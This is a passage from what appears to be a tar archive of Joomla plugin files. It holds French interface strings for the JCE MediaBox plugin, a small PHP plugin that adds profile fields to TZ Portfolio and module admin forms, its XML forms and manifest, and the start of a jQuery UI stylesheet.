PLG_SYSTEM_JCEMEDIABOX_XML_DESC="<h3>Plugin JCE MediaBox, complément de l'éditeur JCE pour Joomla!</h3><p>JCE MediaBox permet d'afficher des médias (image, flash, flv, quicktime, vmw, avi, mpg, divx, youtube, etc.) et des contenus en popup de styles personnalisables.</p><p>JCE MediaBox permet également d'insérer des infobulles sur du texte ou des médias.</p><p>Présentation et modes d'emploi en anglais sur le site de l'auteur de JCE, Ryan Demmer : <a href='https://www.joomlacontenteditor.net/support/tutorials/jcemediabox' target='_blank' title='Site officiel'>https://www.joomlacontenteditor.net/support/tutorials/jcemediabox</a><br />Suivi de mise à jour : <a href='https://www.joomlacontenteditor.net/support/changelog/mediabox' target='_blank' title='Mises à jour'>https://www.joomlacontenteditor.net/support/changelog/mediabox</a></p><p>Traduction FR, présentation et forum en français par Sarki : <a href='https://www.sarki.ch/jce' target='_blank'>www.sarki.ch/jce</a></p>"

PLG_SYSTEM_JCEMEDIABOX_NOCONVERSION="Aucune conversion"
PLG_SYSTEM_JCEMEDIABOX_CONVERTOPTION="Options de conversion"
PLG_SYSTEM_JCEMEDIABOX_CONVERTOPTION_DESC="Convertir les popups JCE MediaBox en un autre format (support des scripts non inclus&nbsp;!)"

PLG_SYSTEM_JCEMEDIABOX_COMPONENTS="Exclure des composants"
PLG_SYSTEM_JCEMEDIABOX_COMPONENTS_DESC="Sélectionnez les composants qui ne doivent pas charger les bibliothèques de scripts de JCE MediaBox."

PLG_SYSTEM_JCEMEDIABOX_MENU="Restreindre à des liens de menu"
PLG_SYSTEM_JCEMEDIABOX_MENU_DESC="Restreindre le chargement des bibliothèques de scripts de JCE MediaBox aux liens de menus sélectionnés."

PLG_SYSTEM_JCEMEDIABOX_MENU_EXCLUDE="Exclure des liens de menu"
PLG_SYSTEM_JCEMEDIABOX_MENU_EXCLUDE_DESC="Exclure le chargement des bibliothèques de scripts de JCE MediaBox des liens de menus sélectionnés."

PLG_SYSTEM_JCEMEDIABOX_THEME="Thème des Popups"
PLG_SYSTEM_JCEMEDIABOX_THEME_DESC="Thème utilisé pour les fenêtres popup. Les thèmes Bootstrap et UIKit nécessitent un template utilisant l'un de ces frameworks pour être actifs."

PLG_SYSTEM_JCEMEDIABOX_THEME_STANDARD="Standard (Rond grisé)"
PLG_SYSTEM_JCEMEDIABOX_THEME_LIGHT="Flèche de côté (Lightbox)"
PLG_SYSTEM_JCEMEDIABOX_THEME_SHADOW="Simple sur fond noir"
PLG_SYSTEM_JCEMEDIABOX_THEME_SQUEEZE="Rond noir relief"
PLG_SYSTEM_JCEMEDIABOX_THEME_BOOTSTRAP="Bootstrap"
PLG_SYSTEM_JCEMEDIABOX_THEME_UIKIT="UIKit"

PLG_SYSTEM_JCEMEDIABOX_LEGACY="Rétrocompatibilité"
PLG_SYSTEM_JCEMEDIABOX_LEGACY_DESC="Conversion de rétrocompatibilité (Legacy) des popups JCE.<br />Vous devez activer cette option si vous avez créé des popups avec une des toutes premières versions de JCE."

PLG_SYSTEM_JCEMEDIABOX_LIGHTBOX="Remplacer Lightbox/Slimbox"
PLG_SYSTEM_JCEMEDIABOX_LIGHTBOX_DESC="Convertir les popups Lightbox/Slimbox en popup JCE MediaBox. Lorsque cette option est activée, les scripts Lightbox/Slimbox sont désactivés et remplacés par ceux de JCE MediaBox."

PLG_SYSTEM_JCEMEDIABOX_SHADOWBOX="Remplacer Shadowbox"
PLG_SYSTEM_JCEMEDIABOX_SHADOWBOX_DESC="Convertir les popups Shadowbox en popup JCE MediaBox. Lorsque cette option est activée, les scripts Shadowbox sont désactivés et remplacés par ceux de JCE MediaBox."

PLG_SYSTEM_JCEMEDIABOX_WIDTH="Largeur par défaut"
PLG_SYSTEM_JCEMEDIABOX_WIDTH_DESC="Largeur par défaut des fenêtres popup, en pixels (n'indiquez que le chiffre), à appliquer à toutes les fenêtres popup. Laissez vide pour que les fenêtre s'adaptent à la taille de l'image, avec une taille maximale correspondant à celle de la fenêtre du navigateur."
PLG_SYSTEM_JCEMEDIABOX_HEIGHT="Hauteur par défaut"
PLG_SYSTEM_JCEMEDIABOX_HEIGHT_DESC="Hauteur par défaut des fenêtres popup, en pixels (n'indiquez que le chiffre), à appliquer à toutes les fenêtres popup. Laissez vide pour que les fenêtre s'adaptent à la taille de l'image, avec une taille maximale correspondant à celle de la fenêtre du navigateur."

PLG_SYSTEM_JCEMEDIABOX_TRANSITIONSPEED="Vitesse de transition"
PLG_SYSTEM_JCEMEDIABOX_TRANSITIONSPEED_DESC="Vitesse de transition des fenêtres popup, en milliseconde (ms)."
PLG_SYSTEM_JCEMEDIABOX_OVERLAY="Fond derrière popup"
PLG_SYSTEM_JCEMEDIABOX_OVERLAY_DESC="Afficher ou non un fond couvrant l'ensemble de la page derrière les fenêtres popup."
PLG_SYSTEM_JCEMEDIABOX_OVERLAYOPACITY="Opacité du fond"
PLG_SYSTEM_JCEMEDIABOX_OVERLAYOPACITY_DESC="Définissez la valeur d'opacité du fond couvrant l'ensemble de la page derrière les fenêtres popup (0 = transparent, 1 = opaque)"
PLG_SYSTEM_JCEMEDIABOX_OVERLAYCOLOR="Couleur du fond"
PLG_SYSTEM_JCEMEDIABOX_OVERLAYCOLOR_DESC="Indiquez la couleur hexadécimale du fond couvrant l'ensemble de la page derrière les fenêtres popup."
PLG_SYSTEM_JCEMEDIABOX_RESIZE="Taille des popups adaptée"
PLG_SYSTEM_JCEMEDIABOX_RESIZE_DESC="Redimensionner les fenêtres popups si leur taille dépasse la taille de l'écran disponible."
PLG_SYSTEM_JCEMEDIABOX_ICONS="Icône Zoom/Popup"
PLG_SYSTEM_JCEMEDIABOX_ICONS_DESC="Afficher l'icône zoom/popup sur les éléments pouvant s'afficher en popup."
PLG_SYSTEM_JCEMEDIABOX_HIDEOBJECTS="Masquer les Objets/embed"
PLG_SYSTEM_JCEMEDIABOX_HIDEOBJECTS_DESC="Définissez si les éléments objets/embed (vidéo, flash...) doivent être masqués ou non dans les fenêtres popup."
PLG_SYSTEM_JCEMEDIABOX_SCROLLING="Popup toujours centrée"
PLG_SYSTEM_JCEMEDIABOX_SCROLLING_DESC="Définir le comportement des fenêtre popups lors de l'utilisation de l’ascenseur. <strong>Fixe :</strong> la fenêtre popup reste centrée lors de l'utilisation de l’ascenseur. <strong>Défilement :</strong> la fenêtre popup défile avec la page lors de l'utilisation de l'ascenseur."
PLG_SYSTEM_JCEMEDIABOX_SCROLLING_SCROLL="Défilement"
PLG_SYSTEM_JCEMEDIABOX_SCROLLING_FIXED="Fixe"

PLG_SYSTEM_JCEMEDIABOX_SWIPE="Swipe"
PLG_SYSTEM_JCEMEDIABOX_SWIPE_DESC="Activez le support Swipe pour naviguer dans les éléments multimédia d'un groupe JCE MediaBox."

PLG_SYSTEM_JCEMEDIABOX_TOPLEFT="Haut Gauche"
PLG_SYSTEM_JCEMEDIABOX_TOPRIGHT="Haut Droite"
PLG_SYSTEM_JCEMEDIABOX_TOPCENTRE="Haut Centre"
PLG_SYSTEM_JCEMEDIABOX_BOTTOMLEFT="Bas Gauche"
PLG_SYSTEM_JCEMEDIABOX_BOTTOMRIGHT="Bas Droite"
PLG_SYSTEM_JCEMEDIABOX_BOTTOMCENTRE="Bas Centre"

PLG_SYSTEM_JCEMEDIABOX_DYNAMICTHEMES="Thèmes dynamiques"
PLG_SYSTEM_JCEMEDIABOX_DYNAMICTHEMES_DESC="Autoriser ou non la modification du thème des popups par l'ajout de sa variable dans l'URL de la page. Exemple: ...&theme=light"

; Popup
PLG_SYSTEM_JCEMEDIABOX_LABEL_CLOSE="Fermer"
PLG_SYSTEM_JCEMEDIABOX_LABEL_NEXT="Suivant"
PLG_SYSTEM_JCEMEDIABOX_LABEL_PREVIOUS="Précédent"
PLG_SYSTEM_JCEMEDIABOX_LABEL_CANCEL="Annuler"
PLG_SYSTEM_JCEMEDIABOX_LABEL_NUMBERS="{{numbers}}"
PLG_SYSTEM_JCEMEDIABOX_LABEL_NUMBERS_COUNT="{{current}} sur {{total}}"

PLG_SYSTEM_JCEMEDIABOX_CLOSE_ACTION="Fermeture des popups"
PLG_SYSTEM_JCEMEDIABOX_CLOSE_ACTION_DESC="Sélectionnez le système à utiliser pour la fermeture des fenêtres popups."
PLG_SYSTEM_JCEMEDIABOX_CLOSE_BUTTON="Uniquement avec le bouton"
PLG_SYSTEM_JCEMEDIABOX_CLOSE_BUTTON_OVERLAY="Avec le bouton et en cliquant sur le fond"

PLG_SYSTEM_JCEMEDIABOX_LABEL_DOWNLOAD="Télécharger"

PLG_SYSTEM_JCEMEDIABOX_COOKIE_EXPIRY="Durée du cookie Popup auto"
PLG_SYSTEM_JCEMEDIABOX_COOKIE_EXPIRY_DESC="Le cookie permettant de ne pas réaficher les fenêtre popups qui s'ouvrent automatiquement expirera après le nombre de jours indiqué ici. Laissez vide pour une expiration du cookie lorsque l'utilisateur ferme son navigateur."

PLG_SYSTEM_JCEMEDIABOX_MEDIAFALLBACK="Lecteur de média alternatif"
PLG_SYSTEM_JCEMEDIABOX_MEDIAFALLBACK_DESC="Activez cette option pour fournir un lecteur multimédia alternatif basé sur flash pour les éléments utilisant une balise vidéo ou audio non prise en charge par le navigateur du visiteur. Supporte actuellement mp4, mp3, flv, f4v."
PLG_SYSTEM_JCEMEDIABOX_MEDIASELECTOR="Sélecteur CSS"
PLG_SYSTEM_JCEMEDIABOX_MEDIASELECTOR_DESC="Sélecteur CSS des éléments devant être pris en charge par le lecteur multimédia alternatif. Par défaut audio, vidéo."

COM_PLUGINS_OPTIONS_FIELDSET_LABEL="Options"

PLG_SYSTEM_JCEMEDIABOX_EXPAND_ON_CLICK="Icône d'agrandissement"
PLG_SYSTEM_JCEMEDIABOX_EXPAND_ON_CLICK_DESC="Les images redimensionnées pour s'adapter à l'écran s'agrandissent lorsqu'on clique dessus. Si cette option est activée, le curseur se transforme en icône de zoom au survol de l'image, indiquant que l'image peut être agrandie."

PLG_SYSTEM_JCEMEDIABOX_DISPLAY_MODE="Mode d'affichage"
PLG_SYSTEM_JCEMEDIABOX_DISPLAY_MODE_DESC="Choisissez comment le contenu s'affiche dans la fenêtre surgissante (popup). <strong>Ajuster (Fit)</strong> redimensionnera la fenêtre pour qu'elle s'adapte à la zone d'affichage. <strong>Défilement (Scroll)</strong> contraindra la fenêtre à la zone d'affichage tout en permettant au contenu de défiler à l'intérieur du cadre."
PLG_SYSTEM_JCEMEDIABOX_DISPLAY_FIT="Ajuster (Fit)"
PLG_SYSTEM_JCEMEDIABOX_DISPLAY_SCROLL="Défilement (Scroll)"

                                                                                                                                         system/tpl_profiler_params/index.html                                                               0000705                 00000000036 15242051520 0014122 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  system/tpl_profiler_params/tpl_profiler_params.php                                                  0000705                 00000005274 15242051520 0016713 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/*------------------------------------------------------------------------

# TZ Portfolio Extension

# ------------------------------------------------------------------------

# author    DuongTVTemPlaza

# copyright Copyright (C) 2012 templaza.com. All Rights Reserved.

# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL

# Websites: http://www.templaza.com

# Technical Support:  Forum - http://templaza.com/Forum

-------------------------------------------------------------------------*/

// no direct access
defined('_JEXEC') or die('Restricted access');

jimport('joomla.plugin.plugin');

class plgSystemTpl_Profiler_Params extends JPlugin
{
    public function onContentPrepareForm($form, $data){
        $app    = JFactory::getApplication();
        if($app -> isAdmin()){
            $input  = $app -> input;

            $name = $form->getName();
            if($name == 'com_tz_portfolio_plus.article') {
                $language   = JFactory::getLanguage();
                $language -> load('plg_system_tpl_profiler_params');
                JForm::addFormPath(__DIR__.'/forms');
                $form->loadFile('params', false);
            }
            if($name == 'com_tz_portfolio_plus.category') {
                $language   = JFactory::getLanguage();
                $language -> load('plg_system_tpl_profiler_params');
                JForm::addFormPath(__DIR__.'/forms');
                $form->loadFile('category', false);
            }
            if($name == 'com_modules.module') {
                $module_name   = null;
                if(!empty($data)){
                    if(is_array($data) && isset($data['module'])){
                        $module_name   = $data['module'];
                    }elseif(is_object($data) && isset($data -> module)){
                        $module_name   = $data -> module;
                    }
                }else{
                    $input  = $app -> input;
                    $jform  = $input -> get($form -> getFormControl(),null, 'array');

                    if($jform && isset($jform['module'])){
                        $module_name    = $jform['module'];
                    }
                }
                $module_arr     =   ['mod_tz_portfolio_plus_carousel','mod_tz_portfolio_plus_portfolio'];
                if (in_array($module_name, $module_arr) ) {
                    $language   = JFactory::getLanguage();
                    $language -> load('plg_system_tpl_profiler_params');
                    JForm::addFormPath(__DIR__.'/forms');
                    $form->loadFile('module', false);
                }
            }
        }
        return true;
    }
}                                                                                                                                                                                                                                                                                                                                    system/tpl_profiler_params/tpl_profiler_params.xml                                                  0000705                 00000002045 15242051520 0016715 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="3.0" group="system" method="upgrade">
    <name>plg_system_tpl_profiler_params</name>
    <author>Sonny</author>
    <creationDate>April 11, 2018</creationDate>
    <copyright>Copyright (C) 2018 TemPlaza. All rights reserved.</copyright>
    <license>GNU/GPL v2 or later http://www.gnu.org/licenses/gpl-2.0.html</license>
    <authorEmail>help@templaza.com</authorEmail>
    <authorUrl>www.templaza.com/</authorUrl>
    <version>1.0.0</version>

    <files>
        <filename plugin="tpl_profiler_params">tpl_profiler_params.php</filename>
        <folder>admin</folder>
        <folder>forms</folder>
        <filename>index.html</filename>
    </files>
    <languages folder="languages">
        <language tag="en-GB">en-GB.plg_system_tpl_profiler_params.ini</language>
        <language tag="en-GB">en-GB.plg_system_tpl_profiler_params.sys.ini</language>
    </languages>
    <config>
        <fields name="params">
        </fields>
    </config>
</extension>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           system/tpl_profiler_params/forms/params.xml                                                         0000705                 00000003267 15242051520 0015271 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="UTF-8"?>
<form>
    <fields name="attribs">
        <fieldset name="tpl_profiler_params" label="PLG_SYSTEM_TPL_PROFILER_PARAMS_FIELDSET_LABEL">
            <field  type="text" default="" name="tpl_profiler_position"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_POSITION" />
            <field  type="text" default="" name="tpl_profiler_practice_area"
                        label="PLG_SYSTEM_TPL_PROFILER_PARAMS_PRACTICE_AREA" />
            <field  type="text" default="" name="tpl_profiler_phone"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_PHONE" />
            <field  type="text" default="" name="tpl_profiler_email"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_EMAIL" />
            <field  type="text" default="" name="tpl_profiler_facebook"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_FACEBOOK" />
            <field  type="text" default="" name="tpl_profiler_twitter"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_TWITTER" />
            <field  type="text" default="" name="tpl_profiler_linkedin"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_LINKEDIN" />
            <field  type="text" default="" name="tpl_profiler_google_plus"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_GOOGLE_PLUS" />
            <field  type="editor" filter="JComponentHelper::filterText" default="" name="tpl_profiler_description"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_DESC" />
            <field  type="media" default="" name="tpl_profiler_signature"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_SIGNATURE" />
        </fieldset>
    </fields>
</form>                                                                                                                                                                                                                                                                                                                                         system/tpl_profiler_params/forms/module.xml                                                         0000705                 00000006406 15242051520 0015271 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="UTF-8"?>
<form>
    <fields name="params">
        <fieldset name="basic">
            <field type="spacer" hr="true"/>
            <field type="spacer" name="spacer_profiler_template_category_listing_name"
                   class="alert alert-warning btn-block"
                   label="PLG_SYSTEM_TPL_PROFILER_PARAMS_FIELDSET_LABEL"/>
            <field  type="radio" default="1" name="show_module_tpl_profiler_position" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_POSITION">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="0" name="show_module_tpl_profiler_practice_area" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_PRACTICE_AREA">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_module_tpl_profiler_phone" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_PHONE">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_module_tpl_profiler_email" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_EMAIL">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_module_tpl_profiler_facebook" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_FACEBOOK">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_module_tpl_profiler_twitter" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_TWITTER">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_module_tpl_profiler_linkedin" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_LINKEDIN">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_module_tpl_profiler_google_plus" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_GOOGLE_PLUS">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="0" name="show_module_tpl_profiler_description" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_DESC">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="0" name="show_module_tpl_profiler_signature" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_SIGNATURE">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>

        </fieldset>
    </fields>
</form>                                                                                                                                                                                                                                                          system/tpl_profiler_params/forms/category.xml                                                       0000705                 00000014656 15242051520 0015627 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="UTF-8"?>
<form>
    <fields name="params">
        <fieldset name="article_category_listing">
            <field type="spacer" hr="true"/>
            <field type="spacer" name="spacer_profiler_template_category_listing_name"
                   class="alert alert-warning btn-block"
                   label="PLG_SYSTEM_TPL_PROFILER_PARAMS_FIELDSET_LABEL"/>
            <field  type="radio" default="1" name="show_cat_tpl_profiler_position" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_POSITION">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="0" name="show_cat_tpl_profiler_practice_area" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_PRACTICE_AREA">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_cat_tpl_profiler_phone" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_PHONE">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_cat_tpl_profiler_email" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_EMAIL">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_cat_tpl_profiler_facebook" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_FACEBOOK">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_cat_tpl_profiler_twitter" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_TWITTER">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_cat_tpl_profiler_linkedin" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_LINKEDIN">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_cat_tpl_profiler_google_plus" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_GOOGLE_PLUS">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="0" name="show_cat_tpl_profiler_description" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_DESC">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="0" name="show_cat_tpl_profiler_signature" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_SIGNATURE">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>

        </fieldset>
        <fieldset name="article">
            <field type="spacer" hr="true"/>
            <field type="spacer" name="spacer_profiler_template_category_listing_name"
                   class="alert alert-warning btn-block"
                   label="PLG_SYSTEM_TPL_PROFILER_PARAMS_FIELDSET_LABEL"/>
            <field  type="radio" default="1" name="show_article_tpl_profiler_position" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_POSITION">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_article_tpl_profiler_practice_area" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_PRACTICE_AREA">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_article_tpl_profiler_phone" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_PHONE">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_article_tpl_profiler_email" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_EMAIL">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_article_tpl_profiler_facebook" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_FACEBOOK">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_article_tpl_profiler_twitter" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_TWITTER">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_article_tpl_profiler_linkedin" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_LINKEDIN">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_article_tpl_profiler_google_plus" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_GOOGLE_PLUS">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_article_tpl_profiler_description" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_DESC">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
            <field  type="radio" default="1" name="show_article_tpl_profiler_signature" class="btn-group"
                    label="PLG_SYSTEM_TPL_PROFILER_PARAMS_SIGNATURE">
                <option value="0">JHIDE</option>
                <option value="1">JSHOW</option>
            </field>
        </fieldset>
    </fields>
</form>                                                                                  system/tpl_profiler_params/forms/index.html                                                         0000705                 00000000036 15242051520 0015250 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  system/tpl_profiler_params/admin/css/jquery-ui.min.css                                              0000705                 00000041173 15242051520 0017242 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*! jQuery UI - v1.11.4 - 2015-08-21
* http://jqueryui.com
* Includes: core.css, draggable.css, resizable.css, selectable.css, sortable.css, theme.css
* To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Trebuchet%20MS%2CTahoma%2CVerdana%2CArial%2Csans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=f6a828&bgTextureHeader=gloss_wave&bgImgOpacityHeader=35&borderColorHeader=e78f08&fcHeader=ffffff&iconColorHeader=ffffff&bgColorContent=eeeeee&bgTextureContent=highlight_soft&bgImgOpacityContent=100&borderColorContent=dddddd&fcContent=333333&iconColorContent=222222&bgColorDefault=f6f6f6&bgTextureDefault=glass&bgImgOpacityDefault=100&borderColorDefault=cccccc&fcDefault=1c94c4&iconColorDefault=ef8c08&bgColorHover=fdf5ce&bgTextureHover=glass&bgImgOpacityHover=100&borderColorHover=fbcb09&fcHover=c77405&iconColorHover=ef8c08&bgColorActive=ffffff&bgTextureActive=glass&bgImgOpacityActive=65&borderColorActive=fbd850&fcActive=eb8f00&iconColorActive=ef8c08&bgColorHighlight=ffe45c&bgTextureHighlight=highlight_soft&bgImgOpacityHighlight=75&borderColorHighlight=fed22f&fcHighlight=363636&iconColorHighlight=228ef1&bgColorError=b81900&bgTextureError=diagonals_thick&bgImgOpacityError=18&borderColorError=cd0a0a&fcError=ffffff&iconColorError=ffd27a&bgColorOverlay=666666&bgTextureOverlay=diagonals_thick&bgImgOpacityOverlay=20&opacityOverlay=50&bgColorShadow=000000&bgTextureShadow=flat&bgImgOpacityShadow=10&opacityShadow=20&thicknessShadow=5px&offsetTopShadow=-5px&offsetLeftShadow=-5px&cornerRadiusShadow=5px
* Copyright 2015 jQuery Foundation and other contributors; Licensed MIT */.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-zfix,.ui-widget-overlay{width:100%;left:0;top:0;height:100%}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:after,.ui-helper-clearfix:before{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-clearfix{min-height:0}.ui-helper-zfix{position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important}.ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-overlay{position:fixed}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-autohide .ui-resizable-handle,.ui-resizable-disabled .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-selectable{-ms-touch-action:none;touch-action:none}.ui-selectable-helper{position:absolute;z-index:100;border:1px dotted #000}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-widget{font-family:Trebuchet MS,Tahoma,Verdana,Arial,sans-serif;font-size:1.1em}.ui-widget .ui-widget{font-size:1em}.ui-widget button,.ui-widget input,.ui-widget select,.ui-widget textarea{font-family:Trebuchet MS,Tahoma,Verdana,Arial,sans-serif;font-size:1em}.ui-widget-content{border:1px solid #ddd;background:url(images/ui-bg_highlight-soft_100_eeeeee_1x100.png) 50% top repeat-x #eee;color:#333}.ui-widget-content a{color:#333}.ui-widget-header{border:1px solid #e78f08;background:url(images/ui-bg_gloss-wave_35_f6a828_500x100.png) 50% 50% repeat-x #f6a828;color:#fff;font-weight:700}.ui-widget-header a{color:#fff}.ui-state-default,.ui-widget-content .ui-state-default,.ui-widget-header .ui-state-default{border:1px solid #ccc;background:url(images/ui-bg_glass_100_f6f6f6_1x400.png) 50% 50% repeat-x #f6f6f6;font-weight:700;color:#1c94c4}.ui-state-default a,.ui-state-default a:link,.ui-state-default a:visited{color:#1c94c4;text-decoration:none}.ui-state-focus,.ui-state-hover,.ui-widget-content .ui-state-focus,.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-focus,.ui-widget-header .ui-state-hover{border:1px solid #fbcb09;background:url(images/ui-bg_glass_100_fdf5ce_1x400.png) 50% 50% repeat-x #fdf5ce;font-weight:700;color:#c77405}.ui-state-focus a,.ui-state-focus a:hover,.ui-state-focus a:link,.ui-state-focus a:visited,.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited{color:#c77405;text-decoration:none}.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active{border:1px solid #fbd850;background:url(images/ui-bg_glass_65_ffffff_1x400.png) 50% 50% repeat-x #fff;font-weight:700;color:#eb8f00}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#eb8f00;text-decoration:none}.ui-state-highlight,.ui-widget-content .ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid 